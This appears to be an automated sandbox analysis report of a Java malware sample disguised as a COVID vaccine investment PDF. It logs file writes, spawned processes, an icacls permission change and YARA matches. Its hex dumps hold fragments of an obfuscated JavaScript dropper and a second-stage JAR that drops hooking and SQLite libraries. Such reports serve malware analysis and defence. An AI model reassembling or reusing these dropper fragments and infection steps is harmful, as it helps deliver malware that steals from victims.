56 30 6f 56 6b 77 6b 
54 45 38 6b 52 56 73 
78 4d 56 30 67 4b 79 
42 7a 55 55 52 74 63 
48 4a 6e 53 57 56 68 
49 43 73 

X0FVbUlaIC>%@9IFmTY
3JpcHRbVkwk
TE8kRVs0N11mKFZMJEx
PJEVbOV0pOw
0Km!FyIHNRRG1wc!mJZ
WEgPS>%@iIj
sNCnRyeXsNCnNRRG1wc
!mJZWEgPSBs
bV9teUtCTkRUW1ZMJEx
PJEVbNTVmXS
hWTCRMTyRFWzEwXSk
7DQpzUURtcHJn
SWVhID0gbG1fbXlLQk5E
VFtWTCRMTy
RFWzU1XV0oVkwkTE8kR
VsxMV0gKyBz
UURtcHJnSWVhICs
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79 52 46 57 7a 49 78 
58 53 6b 37 44 51 70 
32 59 58 49 67 57 46 
56 48 51 6c 70 59 53 
57 6c 77 57 53 3e 25 
40 39 49 46 6d 54 59 
33 4a 70 63 48 52 62 
56 6b 77 6b 54 45 38 
6b 52 56 73 30 4e 31 
31 6d 4b 46 5a 4d 4a 
45 78 50 4a 45 56 62 
4d 6a 4a 6d 4b 54 73 
4e 43 6b 6d 68 5a 6e 
4e 4e 5a 43 52 4b 62 
30 70 62 56 6b 77 6b 
54 45 38 6b 52 56 73 
32 4d 6c 31 6d 4b 46 
5a 4d 4a 45 78 50 4a 
45 56 62 4d 6a 4e 6d 
4c 43 42 57 54 43 52 
4d 54 79 52 46 57 7a 
49 30 58 53 77 67 5a 
21 46 73 63 32 55 70 
4f 77 30 4b 52 32 46 
21 63 30 31 6b 4a 45 
70 76 53 6c 74 57 54 
43 52 4d 54 79 52 46 
57 7a 59 7a 58 56 30 
6f 4d 69 77 67 4d 54 
4d 77 4e 54 59 70 4f 
77 30 4b 52 32 46 21 
63 30 31 6b 4a 45 70 
76 53 6c 74 57 54 43 
52 4d 54 

JExPJEVbNDmmXShWTC
RMTyRFWzIxXS
k7DQp2YXIgWFVHQlpYS
WlwWS>%@9IF
mTY3JpcHRbVkwkTE8kR
Vs0N11mKFZM
JExPJEVbMjJmKTsNCkm
hZnNNZCRKb0
pbVkwkTE8kRVs2Ml1mKF
ZMJExPJEVb
MjNmLCBWTCRMTyRFW
zI0XSwgZ!Fsc2
UpOw0KR2F!c01kJEpvSlt
WTCRMTyRF
WzYzXV0oMiwgMTMwNT
YpOw0KR2F!c0
1kJEpvSltWTCRMT
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45 54 53 3e 25 40 39 
49 46 6d 54 59 33 4a 
70 63 48 52 62 56 6b 
77 6b 54 45 38 6b 52 
56 73 30 4e 31 31 6d 
4b 46 5a 4d 4a 45 78 
50 4a 45 56 62 4d 7a 
68 6d 4b 54 73 4e 43 
6e 5a 68 63 69 42 46 
54 43 3e 25 40 39 49 
45 52 4e 57 31 5a 4d 
4a 45 78 50 4a 45 56 
62 4e 7a 4e 6d 58 53 
68 57 54 43 52 4d 54 
79 52 46 57 7a 4d 35 
58 53 6b 37 44 51 70 
46 54 46 74 57 54 43 
52 4d 54 79 52 46 57 
7a 63 30 58 56 30 67 
50 53 42 57 54 43 52 
4d 54 79 52 46 57 7a 
51 77 58 54 73 4e 43 
6b 56 4d 57 31 5a 4d 
4a 45 78 50 4a 45 56 
62 4e 7a 56 6d 58 53 
3e 25 40 39 49 47 4a 
68 63 32 55 32 4e 44 
73 4e 43 6e 4a 6c 6d 
48 56 79 62 69 42 46 
54 46 74 57 54 43 52 
4d 54 79 52 46 57 7a 
63 32 58 56 30 37 44 
51 70 39 44 51 70 21 
6d 57 35 6a 6d 47 6c 
76 62 69 42 33 63 21 
6c 30 5a 

CnZhciBETS>%@9IFmTY
3JpcHRbVkwk
TE8kRVs0N11mKFZMJEx
PJEVbMzhmKT
sNCnZhciBFTC>%@9IER
NW1ZMJExPJE
VbNzNmXShWTCRMTyR
FWzM5XSk7DQpF
TFtWTCRMTyRFWzc0XV
0gPSBWTCRMTy
RFWzQwXTsNCkVMW1Z
MJExPJEVbNzVm
XS>%@9IGJhc2U2NDsN
CnJlmHVybiBF
TFtWTCRMTyRFWzc2XV
07DQp9DQp!mW
5jmGlvbiB3c!l0Z

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 53 6b 56 46 52 30 77 
6b 57 31 5a 4d 4a 45 
78 50 4a 45 56 62 4f 
44 6c 6d 58 54 73 67 
61 53 73 72 4b 58 73 
4e 43 21 6c 21 4b 48 
46 47 63 47 31 66 51 
56 56 74 53 56 70 62 
56 6b 77 6b 54 45 38 
6b 52 56 73 35 4d 46 
31 6d 4b 48 46 47 63 
47 31 66 51 56 56 74 
53 56 70 62 56 6b 77 
6b 54 45 38 6b 52 56 
73 35 4d 56 31 6d 4b 
45 56 34 6d 48 4a 68 
59 33 52 55 62 79 78 
4a 57 58 4e 6e 53 6b 
56 46 52 30 77 6b 57 
31 5a 4d 4a 45 78 50 
4a 45 56 62 4f 54 4a 
6d 58 53 68 70 4b 56 
74 57 54 43 52 4d 54 
79 52 46 57 7a 6b 7a 
58 56 30 70 4b 31 5a 
4d 4a 45 78 50 4a 45 
56 62 4e 44 52 6d 4b 
33 46 47 63 47 31 66 
51 56 56 74 53 56 70 
62 56 6b 77 6b 54 45 
38 6b 52 56 73 35 4e 
46 31 6d 4b 45 6c 5a 
63 32 6d 4b 52 55 56 
48 54 43 52 62 56 6b 
77 6b 54 45 38 6b 52 
56 73 35 4d 6c 31 6d 
4b 47 6b 

SkVFR0wkW1ZMJExPJE
VbODlmXTsgaS
srKXsNC!l!KHFGcG1fQVV
tSVpbVkwk
TE8kRVs5MF1mKHFGcG
1fQVVtSVpbVk
wkTE8kRVs5MV1mKEV4
mHJhY3RUbyxJ
WXNnSkVFR0wkW1ZMJE
xPJEVbOTJmXS
hpKVtWTCRMTyRFWzkz
XV0pK1ZMJExP
JEVbNDRmK3FGcG1fQV
VtSVpbVkwkTE
8kRVs5NF1mKElZc2mKR
UVHTCRbVkwk
TE8kRVs5Ml1mKGk
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22 73 68 57 33 72 22 
5d 20 3d 20 22 48 65 
6c 6c 6f 57 6f 72 6c 64 
22 2e 6c 30 30 70 36 
78 28 29 3b 0a 65 66 
72 33 62 30 68 5b 32 
5d 20 3d 20 41 72 72 
61 79 28 22 65 66 72 
33 62 30 68 5b 34 5d 
28 29 5b 65 66 72 33 
62 30 68 5b 31 5d 5b 
36 5d 5d 20 3d 20 31 
3b 65 66 72 33 62 30 
68 5b 34 5d 28 29 5b 
65 66 72 33 62 30 68 
5b 31 5d 5b 37 5d 5d 
28 29 3b 65 66 72 33 
62 30 68 5b 34 5d 28 
29 5b 65 66 72 33 62 
30 68 5b 31 5d 5b 38 
5d 5d 28 65 66 72 33 
62 30 68 5b 33 5d 5b 
31 5d 5b 65 66 72 33 
62 30 68 5b 31 5d 5b 
39 5d 2b 5c 22 54 79 
70 65 64 56 61 6c 75 
65 5c 22 5d 29 3b 22 
2c 0a 09 09 09 09 09 
09 22 65 66 72 33 62 
30 68 5b 34 5d 28 29 
5b 65 66 72 33 62 30 
68 5b 31 5d 5b 35 5d 
5d 20 3d 20 30 3b 65 
66 72 33 62 30 68 5b 
34 5d 28 29 5b 65 66 
72 33 

10,9)]["shW3r"] = 
"HelloWorld"
.l00p6x();.efr3b0h[2] = 
Array("efr3b0h[4]()
[efr3b0h[1][6]] = 
1;efr3b0h[4]()[efr3b0h[1]
[7]]();efr3b0h[4]()
[efr3b0h[1][8]](efr3b0h[3]
[1][efr3b0h[1][9]+\
"TypedValue\"]);",......."efr3
b0h[4]()[efr3b0h[1][5]] = 
0;efr3b0h[4]()[efr3
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2e 6a 6f 69 6e 28 22 
22 29 3b 0a 0a 65 76 
61 6c 28 22 76 61 72 
20 74 6d 78 20 3d 20 
65 66 72 33 62 30 68 
5b 30 5d 28 5b 5c 22 
5c 22 2e 73 74 79 4d 
65 37 5b 32 5d 2e 73 
68 57 33 72 2c 20 66 
75 6e 63 74 69 6f 6e 
28 74 30 6d 4e 73 33 
31 50 29 7b 76 61 72 
20 6d 6b 6b 5f 70 6c 
34 7a 34 20 3d 20 74 
68 69 73 2e 6d 6b 6b 
5f 70 6c 34 7a 34 3b 
6d 6b 6b 5f 70 6c 34 
7a 34 5b 31 5d 20 3d 
20 5c 22 5c 22 2e 73 
34 6d 73 44 54 28 6d 
6b 6b 5f 70 6c 34 7a 
34 5b 31 5d 29 3b 76 
61 72 20 69 3d 30 3b 
5b 65 76 61 6c 5d 5b 
30 5d 28 5c 22 77 68 
69 6c 65 20 28 69 3c 
74 68 69 73 2e 66 5f 
74 72 75 74 68 2e 6c 
65 6e 67 74 68 29 7b 
74 30 6d 4e 73 33 31 
50 5b 30 5d 28 6d 6b 
6b 5f 70 6c 34 7a 34 
5b 31 5d 20 2b 20 74 
68 69 73 2e 66 5f 74 
72 75 74 

] = 
"".g4m3V1L.join("");..eval
("var tmx = efr3b0h[0]
([\"\".styMe7[2].shW3r, 
function(t0mNs31P){var 
mkk_pl4z4 = this.mkk_
pl4z4;mkk_pl4z4[1] = 
\"\".s4ms
DT(mkk_pl4z4[1]);var i=0;
[eval][0](\"while 
(i<this.f_truth.length)
{t0mNs31P[0](mkk_pl4z4[1
] + this.f_trut

success or wait 1 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 22 success or wait 1 1070AE ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 1024 success or wait 1 1070AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 success or wait 1 1070AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 end of file 1 1070AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 success or wait 1 6DCFC013 unknown

File ReadFile Read
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 end of file 1 6DCFC2CA unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 396 success or wait 1 6DD578A0 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 635 success or wait 1 6DD57965 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 4 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 128 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 97 success or wait 3 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 end of file 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 4 success or wait 2 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 30 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 132 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 30 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 end of file 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 2 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 30 success or wait 1 6F489F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6F489F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

Start time: 21:04:13

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\icacls.exe

Analysis Process: icacls.exe PID: 5980 Parent PID: 5544Analysis Process: icacls.exe PID: 5980 Parent PID: 5544

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 
'everyone':(OI)(CI)M

Imagebase: 0xa80000

File size: 29696 bytes

MD5 hash: FF0D1D4317A44C951240FAE75075D501

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 21:04:13

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 21:04:13

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\wscript.exe

Wow64 process (32bit): true

Commandline: wscript C:\Users\user\fukvowbkrs.js

Imagebase: 0x1340000

File size: 147456 bytes

MD5 hash: 7075DD7B9BE8807FCA93ACD86F724884

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Analysis Process: conhost.exe PID: 384 Parent PID: 5980Analysis Process: conhost.exe PID: 384 Parent PID: 5980

General

Analysis Process: wscript.exe PID: 5712 Parent PID: 5544Analysis Process: wscript.exe PID: 5712 Parent PID: 5544

General
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File ActivitiesFile Activities

Start time: 21:04:19

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe'  -jar 'C:\Users\user\AppData\Roam
ing\vmlpusjwhz.txt'

Imagebase: 0x940000

File size: 192376 bytes

MD5 hash: 4BFEB2F64685DA09DEBB95FB981D4F65

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6D868C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\3164 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6D868D58 CreateFileA

C:\Users\user\lib read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6DD5845C CreateDirectoryW

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

success or wait 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

Analysis Process: javaw.exe PID: 3164 Parent PID: 5712Analysis Process: javaw.exe PID: 3164 Parent PID: 5712

General

File CreatedFile Created
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C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc237458
0bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a

read attributes | 
synchronize | 
generic write

device sequential only | 
synchronous io 
non alert | non 
directory file

success or wait 1 6DD57673 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\lib\jna-platform-5.5.0.jard read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\lib\jna-5.5.0.jard read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\lib\system-hook-3.5.jard read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\vmlpusjwhz.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

C:\Users\user\lib\jna-5.5.0.jard C:\Users\user\lib\jna-5.5.0.jar success or wait 1 6DD584B2 unknown

C:\Users\user\lib\system-hook-3.5.jard C:\Users\user\lib\system-hook-3.5.jar success or wait 1 6DD584B2 unknown

C:\Users\user\lib\jna-platform-5.5.0.jard C:\Users\user\lib\jna-platform-5.5.0.jar success or wait 1 6DD584B2 unknown

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jar success or wait 1 6DD584B2 unknown

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File MovedFile Moved

File WrittenFile Written
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C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 34 31 34 33 
30 35 39 36 35 34 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161414305965
4..

success or wait 1 6DD59FBC WriteFile

unknown unknown 589 0a 23 23 23 23 23 23 
23 23 23 23 23 23 23 
23 23 23 23 23 23 23 
23 23 23 23 23 23 23 
23 23 23 23 23 23 23 
23 23 23 23 23 23 23 
23 23 23 23 23 23 23 
0a 23 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 23 
0a 23 20 20 20 20 20 
20 20 20 23 23 20 23 
20 20 20 23 20 20 20 
20 23 23 20 23 23 23 
20 23 23 23 20 23 23 
20 20 23 23 23 20 20 
20 20 20 20 20 20 23 
0a 23 20 20 20 20 20 
20 20 23 20 23 20 23 
20 20 20 23 20 20 20 
23 20 23 20 20 23 20 
20 23 20 23 20 23 20 
23 20 20 23 20 20 20 
20 20 20 20 20 20 23 
0a 23 20 20 20 20 20 
20 20 23 23 23 20 23 
20 20 20 23 20 20 20 
23 23 23 20 20 23 20 
20 23 20 23 20 23 23 
20 20 20 23 20 20 20 
20 20 20 20 20 20 23 
0a 23 20 20 20 20 20 
20 20 23 

.#####################
########
###################.#         
                                     
#.#        ## #   #    ## ### 
### ##  ###        #.#       # 
# #   #   # #  #  # # # #  #         
#.#       ### #   #   ###  #  
# # ##   #         #.#       #

invalid handle 1 6DD59FBC WriteFile

unknown unknown 2 0d 0a .. invalid handle 1 6DD59FBC WriteFile

unknown unknown 2 0d 0a .. invalid handle 17 6DD59FBC WriteFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-
21-3853321935-2125563209-4053062332-
1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-
4e9a-955c-4899f5f57b9a

unknown 45 02 00 00 00 00 00 00 
00 05 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 4a 32 
53 45 00 

..............................

..........J2SE.
success or wait 1 6DD57673 unknown

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 50 4b 03 04 0a 00 00 
08 00 00 a7 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 09 00 
04 00 4d 45 54 41 2d 
49 4e 46 2f fe ca 00 
00 50 4b 03 04 0a 00 
00 08 00 00 a6 8c 5e 
4f 83 70 fa 11 45 05 
00 00 45 05 00 00 14 
00 00 00 4d 45 54 41 
2d 49 4e 46 2f 4d 41 
4e 49 46 45 53 54 2e 
4d 46 4d 61 6e 69 66 
65 73 74 2d 56 65 72 
73 69 6f 6e 3a 20 31 
2e 30 0d 0a 41 6e 74 
2d 56 65 72 73 69 6f 
6e 3a 20 41 70 61 63 
68 65 20 41 6e 74 20 
31 2e 31 30 2e 36 0d 
0a 43 72 65 61 74 65 
64 2d 42 79 3a 20 31 
2e 38 2e 30 5f 32 30 
31 2d 62 30 39 20 28 
4f 72 61 63 6c 65 20 
43 6f 72 70 6f 72 61 
74 69 6f 6e 29 0d 0a 
49 6d 70 6c 65 6d 65 
6e 74 61 74 69 6f 6e 
2d 54 69 74 6c 65 3a 
20 63 6f 6d 2e 73 75 
6e 2e 6a 6e 61 2e 70 
6c 61 74 66 6f 72 6d 
0d 0a 49 6d 70 6c 65 
6d 65 6e 74 61 74 69 
6f 6e 2d 

PK..........^O................
META-
INF/....PK..........^O.p.
.E...E.......META-
INF/MANIFEST
.MFManifest-Version: 
1.0..Ant-Version: Apache 
Ant 1.10.6..Created-By: 
1.8.0_201-b09 (Oracle 
Corporation)..Implementati
on-Title: 
com.sun.jna.platform..
Implementation-

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 50 4b 03 04 0a 00 00 
08 00 00 8d 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 09 00 
04 00 4d 45 54 41 2d 
49 4e 46 2f fe ca 00 
00 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f 99 08 bd 4c 09 03 
00 00 de 0b 00 00 14 
00 00 00 4d 45 54 41 
2d 49 4e 46 2f 4d 41 
4e 49 46 45 53 54 2e 
4d 46 ad 95 5f 4f db 
30 14 c5 df 2b f5 3b f8 
b1 93 9a 90 16 a8 80 
aa 0f a5 f4 61 68 65 
